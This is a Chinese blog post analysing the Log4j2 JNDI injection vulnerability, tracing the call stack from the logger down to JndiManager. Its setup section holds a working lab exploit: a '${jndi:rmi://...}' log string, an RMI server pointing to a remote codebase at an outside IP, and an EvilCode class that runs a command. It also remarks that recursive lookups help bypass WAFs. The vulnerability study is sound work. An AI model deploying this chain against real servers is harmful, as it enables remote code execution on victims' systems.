環(huán)境布置
和前面的JNDI注入時用的代碼差不多
package Log4j2;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
//有些高版本jdk需要打開此行代碼
//System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
//模擬填寫數(shù)據(jù),輸入構(gòu)造好的字符串,使受害服務(wù)器打印日志時執(zhí)行遠程的代碼 同一臺可以使用127.0.0.1
String username = "${jndi:rmi://127.0.0.1:1099/hello}";
//正常打印業(yè)務(wù)日志
logger.error("username:{}",username);
}
}
package JNDI_Inesrct;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://42.193.22.50:1234/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
}
}
package Log4j2;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class EvilCode {
static {
System.out.println("受害服務(wù)器將執(zhí)行下面命令行");
Process p;
String[] cmd = {"calc"};
try {
p = Runtime.getRuntime().exec(cmd);
InputStream fis = p.getInputStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
String line = null;
while((line=br.readLine())!=null) {
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
如果要引入log4j2的jar包可以這么配置Maven的pom.xml
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
還要創(chuàng)建個配置文件
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<!--全局參數(shù)-->
<Properties>
<Property name="pattern">%d{yyyy-MM-dd HH:mm:ss,SSS} %5p %c{1}:%L - %m%n</Property>
<Property name="logDir">/data/logs/dust-server</Property>
</Properties>
<Loggers>
<Root level="INFO">
<AppenderRef ref="console"/>
<AppenderRef ref="rolling_file"/>
</Root>
</Loggers>
<Appenders>
<!-- 定義輸出到控制臺 -->
<Console name="console" target="SYSTEM_OUT" follow="true">
<!--控制臺只輸出level及以上級別的信息-->
<ThresholdFilter level="INFO" onMatch="ACCEPT" onMismatch="DENY"/>
<PatternLayout>
<Pattern>${pattern}</Pattern>
</PatternLayout>
</Console>
<!-- 同一來源的Appender可以定義多個RollingFile,定義按天存儲日志 -->
<RollingFile name="rolling_file"
fileName="${logDir}/dust-server.log"
filePattern="${logDir}/dust-server_%d{yyyy-MM-dd}.log">
<ThresholdFilter level="INFO" onMatch="ACCEPT" onMismatch="DENY"/>
<PatternLayout>
<Pattern>${pattern}</Pattern>
</PatternLayout>
<Policies>
<TimeBasedTriggeringPolicy interval="1"/>
</Policies>
<!-- 日志保留策略,配置只保留七天 -->
<DefaultRolloverStrategy>
<Delete basePath="${logDir}/" maxDepth="1">
<IfFileName glob="dust-server_*.log" />
<IfLastModified age="7d" />
</Delete>
</DefaultRolloverStrategy>
</RollingFile>
</Appenders>
</Configuration>
前言
log4j2這個漏洞當(dāng)時爆出來的時候堪稱是核彈級別的,危害非常大,利用還非常簡單,既然如此,那我們肯定要分析一下漏洞相關(guān)的原理來學(xué)習(xí)一下
漏洞分析
調(diào)用棧
這個漏洞是個JNDI注入漏洞,分析前我們需要清楚這一點,之前我也分析過JNDI注入的相關(guān)流程,該漏洞是從javax.naming.InitialContext開始的,那我們就在那里下個斷點,就可以得到log4j2這個漏洞的調(diào)用棧了,
一些前置知識
在詳細分析前先簡單了解下log4j三大組件:
Logger:日志記錄器,負責(zé)收集處理日志記錄
Appender:日志存放的地方,負責(zé)日志的輸出
Layout:日志格式化,負責(zé)日志輸出的形式
入口函數(shù)
本次漏洞的入口函數(shù)為logIfEnabled,然而如果使用了AbstractLogger.java中的debug、info、warn、error、fatal等都會觸發(fā)到該函數(shù),但是后想要觸發(fā)該漏洞只能error/fotal觸發(fā)
想要觸發(fā)后續(xù)流程,需要調(diào)用logMessage方法,需要isEnable為true,isEnable會對level進行判斷,只有小于等于200,才會返回true。
他們的level如下所示
static {
OFF = new Level("OFF", StandardLevel.OFF.intLevel());
//100
FATAL = new Level("FATAL", StandardLevel.FATAL.intLevel());
//200
ERROR = new Level("ERROR", StandardLevel.ERROR.intLevel());
//300
WARN = new Level("WARN", StandardLevel.WARN.intLevel());
//400
INFO = new Level("INFO", StandardLevel.INFO.intLevel());
//500
DEBUG = new Level("DEBUG", StandardLevel.DEBUG.intLevel());
//600
TRACE = new Level("TRACE", StandardLevel.TRACE.intLevel());
//2147483647
ALL = new Level("ALL", StandardLevel.ALL.intLevel());
}
LoggerConfig.processLogEvent()
在log4j2中通過LoggerConfig.processLogEvent()處理日志事件,event中就是我們的日志事件,主要部分在調(diào)用callAppenders()即調(diào)用Appender
AppenderControl.callAppender
Appender功能主要是負責(zé)將日志事件傳遞到其目標(biāo),常用的Appender有ConsoleAppender(輸出到控制臺)、FileAppender(輸出到本地文件)等,通過AppenderControl獲取具體的Appender,本次調(diào)試的是ConsoleAppender。
調(diào)用了AbstractOutputStreamAppender.tryAppend()嘗試輸出日志
AbstractOutputStreamAppender.tryAppend()
在輸入日志之前還得進行日志格式化,于是調(diào)用了directEncodeEvent
AbstractOutputStreamAppender.directEncodeEvent
首先通過getLayout()獲取Layout日志格式,通過Layout.encode()進行日志的格式化
PatternLayout.encode
經(jīng)過兩層encode調(diào)用后再調(diào)用toText,在toSerializable處完成日志格式化
PatternLayout.toSerializable
這里通過format來完成了格式化的事
MessagePatternConverter.format(),
處理傳入的message通過MessagePatternConverter.format(),也是本次漏洞的關(guān)鍵之處,我們具體來看下。
當(dāng)config存在并且noLookups為false,匹配到${'則會調(diào)用replace替換字符串
StrSubstitutor.replace()
這里是調(diào)用棧最初調(diào)用lookup相關(guān)的地方
這里我們看不出啥,跟進兩層substitute調(diào)用后,查看相關(guān)代碼
StrSubstitutor.substitute
StrSubstitutor類提供的 substitute 方法,是整個 Lookup 功能的核心,用來遞歸替換相應(yīng)的字符,這里我們仔細看一下處理邏輯。
我們先看看它的一些參數(shù)都代表了啥
prefixMatcher代表${ 前綴
suffixMatcher代表 } 后綴
escape代表 $
valueDelimiterMatcher代表 :和-
chars是我們寫入日志的字符串
bufEnd相當(dāng)于字符串長度
pos相當(dāng)于頭指針
接下來分析下代碼邏輯
通過 while 循環(huán)遍歷字符串尋找 ${ 前綴,找到以后startMatchLen會被賦值為2,相當(dāng)于返回匹配到的前綴字符串長度,然后跳出循環(huán)
接著進入下一個while循環(huán),尋找后綴
在找后綴的 while 循環(huán)里,又判斷了是否碰到 ${前綴,如果碰到了pos指針直接加上它的長度讓指針后移繼續(xù)尋找后綴
后面匹配到后綴以后,把前綴和后綴中間部分提取出來,endMatchLen是匹配到的后綴的長度。
后綴匹配完后,還要通過多個 if/else 用來匹配 :- 和 :-
:- 是一個賦值關(guān)鍵字,如果程序處理到 ${aaaa:-bbbb} 這樣的字符串,處理的結(jié)果將會是 bbbb,:- 關(guān)鍵字將會被截取掉,而之前的字符串都會被舍棄掉。
:- 是轉(zhuǎn)義的 :-,如果一個用 a:b 表示的鍵值對的 key a 中包含 :,則需要使用轉(zhuǎn)義來配合處理,例如 ${aaa:\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc。
通過上面的處理后,將會調(diào)用 resolveVariable 方法解析滿足 Lookup 功能的語法,并執(zhí)行相應(yīng)的 lookup ,將返回的結(jié)果替換回原字符串后,再次調(diào)用 substitute 方法進行遞歸解析。
因此在字符串替換的過程中可以看到,方法提供了一些特殊的寫法,并支持遞歸解析。而這些特性,將會可以用來進行繞過 WAF。
我們接著看resolveVariable方法
StrSubstitutor.resolveVariable
這里調(diào)用了Interpolator.lookup,繼續(xù)去看看
Interpolator.lookup
Log4j2 使用 org.apache.logging.log4j.core.lookup.Interpolator 類來代理所有的 StrLookup 實現(xiàn)類。也就是說在實際使用 Lookup 功能時,由 Interpolator 這個類來處理和分發(fā)。
這個類在初始化時創(chuàng)建了一個 strLookupMap ,將一些 lookup 功能關(guān)鍵字和處理類進行了映射,存放在這個 Map 中。
在 2.14.0 版本中,默認是加入 log4j、sys、env、main、marker、java、lower、upper、jndi、jvmrunargs、spring、kubernetes、docker、web、date、ctx,由于部分功能的支持并不在 core 包中,所以如果加載不到對應(yīng)的處理類,則會添加警告信息并跳過。而這些不同 Lookup 功能的支持,是隨著版本更新的,例如在較低版本中,不存在 upper、lower 這兩種功能,因此在使用時要注意環(huán)境。
處理和分發(fā)的關(guān)鍵邏輯在于其 lookup 方法,該漏洞利用的也是lookup方法
通過 : 作為分隔符來分隔 Lookup 關(guān)鍵字及參數(shù),從strLookupMap 中根據(jù)關(guān)鍵字作為 key 匹配到對應(yīng)的處理類,并調(diào)用其 lookup 方法。
JndiLookup.lookup
本次漏洞的觸發(fā)方式是使用 jndi: 關(guān)鍵字來觸發(fā) JNDI 注入漏洞,對于 jndi: 關(guān)鍵字的處理類為 org.apache.logging.log4j.core.lookup.JndiLookup
看一下最關(guān)鍵的 lookup 方法,可以看到是使用了 JndiManager 來支持 JNDI 的查詢功能。
JndiManager.lookup
這里用到了javax.naming.InitialContext,這就接上了我們之前文章講的JNDI注入的內(nèi)容,后續(xù)就不再分析了,這就是log4j2漏洞的基本流程
總結(jié)
log4j2的調(diào)用鏈我們就分析完,相對于之前分析的漏洞來說,調(diào)用棧還挺長的,也很有意思,收獲滿滿,但還需要繼續(xù)學(xué)習(xí),有些知識點還不是很清晰。至于該漏洞的各種rce以及各種繞過姿勢,后面有空再繼續(xù)學(xué)習(xí)了。文章來源:http://www.zghlxwxcb.cn/news/detail-489014.html
參考文章
https://paper.seebug.org/1786/#0x01
https://su18.org/post/log4j2/#%E5%85%B3%E9%94%AE%E7%82%B9%E5%88%86%E6%9E%90
https://www.anquanke.com/post/id/262668#h3-6文章來源地址http://www.zghlxwxcb.cn/news/detail-489014.html
到了這里,關(guān)于log4j2漏洞分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!